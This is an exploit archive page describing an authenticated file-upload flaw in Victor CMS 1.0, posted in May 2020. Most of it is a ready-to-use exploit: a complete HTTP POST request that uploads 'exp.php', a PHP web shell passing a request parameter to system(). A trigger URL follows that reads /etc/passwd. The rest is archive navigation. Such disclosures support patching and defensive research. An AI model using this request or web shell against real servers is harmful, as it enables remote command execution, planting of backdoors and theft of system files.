what you don't know can hurt you

Victor CMS 1.0 Shell Upload

Victor CMS 1.0 Shell Upload
Posted May 19, 2020
Authored by Kishan Lal Choudhary

Victor CMS version 1.0 suffers from an authenticated remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | 7f5c0f7f129fcb1e7e08e68329e0210b

Victor CMS 1.0 Shell Upload

Change Mirror Download
# Exploit Title: Victor CMS 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10

Description: The GET parameter '/admin/users.php?source=add_user' is vulnerable Arbitary File Uploads


POST /admin/users.php?source=add_user HTTP/1.1
Host: localhost
Content-Length: 1049
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrMPNq33u6rCpEFhB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/users.php?source=add_user
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close

------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_name"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_firstname"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_lastname"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_image"; filename="exp.php"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_role"

Admin
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_email"

test@tets.com
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_password"

test@1234
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="create_user"

Add User
------WebKitFormBoundaryrMPNq33u6rCpEFhB--



The Shell can be triggered by visting

http://localhost/img/exp.php?cmd=cat%20/etc/passwd
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close